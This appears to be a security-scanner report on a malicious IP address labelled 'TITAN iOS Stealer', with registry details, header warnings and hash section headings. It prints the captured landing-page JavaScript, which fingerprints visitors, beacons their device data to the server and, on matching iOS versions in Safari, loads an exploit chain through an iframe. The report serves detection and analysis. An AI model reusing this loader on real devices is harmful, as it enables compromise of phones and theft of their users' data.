technology software

phishing scam

documentation technical

English

The domain '62.182.84.123:2' uses an unknown top-level domain with no subdomain. The core label '62.182.84.123' covers 13 characters split between zero vowels and zero consonants; it also includes ten digits. Tokenizing the label suggests four words: 62, 182, 84, 123. Average segment length settles at 2.5 characters. No strong language cues emerged from the frequency lists.

38c91038b7f8ca4d4312f77a1432c386ce4c32baa548b873f451d1565d098f6d

width=device-width,initial-scale=1,viewport-fit=cover

viewport

robots

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Abuse-C Role

Vyacheslav Smyrnov

Virtual Systems LLC

ORG-NCC1-RIPE

VSYS-MNT

UA-VSYS


(() => {
  const $ = id => document.getElementById(id);
  const logEl = $('log');
  const say = t => { const d = document.createElement('div'); d.textContent = t; logEl.prepend(d); };
  const ua = navigator.userAgent || '';

  // platform + OS version detection (iOS, Android, Windows, macOS, Linux, ChromeOS)
  const iosM = /iPhone OS (\d+)_(\d+)(?:_(\d+))?/.exec(ua);
  const iosVer = iosM ? [Number(iosM[1]), Number(iosM[2]), Number(iosM[3] || 0)] : null;
  let platform = 'Unknown';
  let model = 'Device';
  let os = '';

  if (/iPad/.test(ua)) { platform = 'iOS'; model = 'iPad'; os = iosVer ? iosVer.join('.') : ''; }
  else if (/iPhone|iPod/.test(ua)) { platform = 'iOS'; model = /iPod/.test(ua) ? 'iPod' : 'iPhone'; os = iosVer ? iosVer.join('.') : ''; }
  else if (/Windows Phone/.test(ua)) { platform = 'Windows Phone'; model = 'Lumia'; os = (/Windows Phone ([\d.]+)/.exec(ua) || [])[1] || ''; }
  else if (/Android/.test(ua)) {
    platform = 'Android';
    os = (/Android\s+([\d.]+)/.exec(ua) || [])[1] || '';
    const bm = /;\s*([^;()]+?)\s+Build[/;]/.exec(ua);
    model = (bm ? bm[1].replace(/\s+/g, ' ').trim().slice(0, 60) : '') || 'Android device';
  }
  else if (/Windows NT/.test(ua)) {
    platform = 'Windows'; model = 'PC';
    const nt = (/Windows NT ([\d.]+)/.exec(ua) || [])[1] || '';
    os = ({ '10.0': '10/11', '6.3': '8.1', '6.2': '8', '6.1': '7' })[nt] || (nt ? 'NT ' + nt : '');
  }
  else if (/CrOS/.test(ua)) { platform = 'ChromeOS'; model = 'Chromebook'; }
  else if (/Macintosh/.test(ua) && /Mobile/.test(ua)) { platform = 'iOS'; model = 'iPad'; os = (/Mac OS X ([\d_]+)/.exec(ua) || [])[1]?.replace(/_/g, '.') || ''; }
  else if (/Macintosh|Mac OS X/.test(ua)) { platform = 'macOS'; model = 'Mac'; os = (/Mac OS X ([\d_]+)/.exec(ua) || [])[1]?.replace(/_/g, '.') || ''; }
  else if (/Linux/.test(ua)) { platform = 'Linux'; model = 'PC'; }

  const isIOS = platform === 'iOS';
  const isSafari = isIOS && /Safari/.test(ua) && !/CriOS|FxiOS|EdgiOS|OPiOS/.test(ua);
  const vstr = os || 'unknown';

  $('plat').textContent = model + (platform !== 'Unknown' ? ' · ' + platform : '');
  $('ver').textContent = vstr;
  $('res').textContent = screen.width + '×' + screen.height;

  const send = payload => fetch('/api/beacon', {
    method: 'POST', headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ chain: payload.chain || 'none', status: payload.status || 0, version: isIOS ? (iosVer ? iosVer.join('.') : '') : '',
      platform, os, ua, model, w: screen.width, h: screen.height })
  }).catch(() => {});

  if (!isIOS) {
    $('title').textContent = 'Device logged';
    $('sub').textContent = 'No iOS exploit chain — this visit is recorded in the console.';
    $('status').className = 'status bad';
    $('stext').textContent = platform === 'Unknown' ? 'Unknown device' : platform + ' is not supported by the chains';
    $('chain').textContent = 'none';
    say('platform=' + platform + ' os=' + vstr);
    send({ chain: 'none', status: 2 });
    return;
  }

  const vnum = iosVer[0] * 10000 + iosVer[1] * 100 + iosVer[2];
  let chain = 'none';
  if (vnum >= 130000 && vnum <= 170201) chain = 'coruna';
  else if (vnum >= 180400 && vnum <= 180702) chain = 'darksword';

  $('chain').textContent = chain;

  if (!isSafari) {
    $('title').textContent = 'Use Safari';
    $('sub').textContent = 'Safari is required for the JavaScriptCore chain.';
    $('status').className = 'status bad';
    $('stext').textContent = 'Unsupported browser';
    send({ chain: 'none', status: 2 });
    return;
  }
  if (chain === 'none') {
    $('title').textContent = 'Version not supported';
    $('sub').textContent = 'Supported: iOS 13.0 – 17.2.1 and 18.4 – 18.7.2.';
    $('status').className = 'status bad';
    $('stext').textContent = 'No chain for iOS ' + vstr;
    send({ chain: 'none', status: 2 });
    return;
  }

  $('title').textContent = 'Running chain';
  $('sub').textContent = chain === 'coruna'
    ? 'WebKit primitives → PAC → sandbox escape'
    : 'Full chain → kernel → collectors';
  $('status').className = 'status';
  $('stext').textContent = 'Exploit in progress';
  say('chain=' + chain + ' ios=' + vstr);
  send({ chain, status: 1 });

  const f = $('frame');
  f.src = '/go?c=' + chain + '&v=' + encodeURIComponent(vstr) + '&p=iOS&t=' + Date.now();
  let ticks = 0;
  setInterval(() => {
    ticks++;
    if (ticks === 25) { $('stext').textContent = 'Still working… (this can take a minute)'; say('waiting…'); }
    if (ticks % 10 === 0) send({ chain, status: 1 });
  }, 1000);

  addEventListener('message', e => {
    if (!e.data || !e.data.titan) return;
    $('status').className = 'status ' + (e.data.ok ? 'ok' : 'bad');
    $('stext').textContent = e.data.text || '';
    say(e.data.text || '');
  });
})();


TITAN iOS Stealer

regular

☠️ Malicious - https://62.182.84.123:2/

Requests	IP Address	Location	AS Autonomous System
4	62.182.84.123	Kyiv, Kyiv City, Ukraine	AS30860Virtual Systems LLC
4	1	-	-

Security Scan Report: 62.182.84.123

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History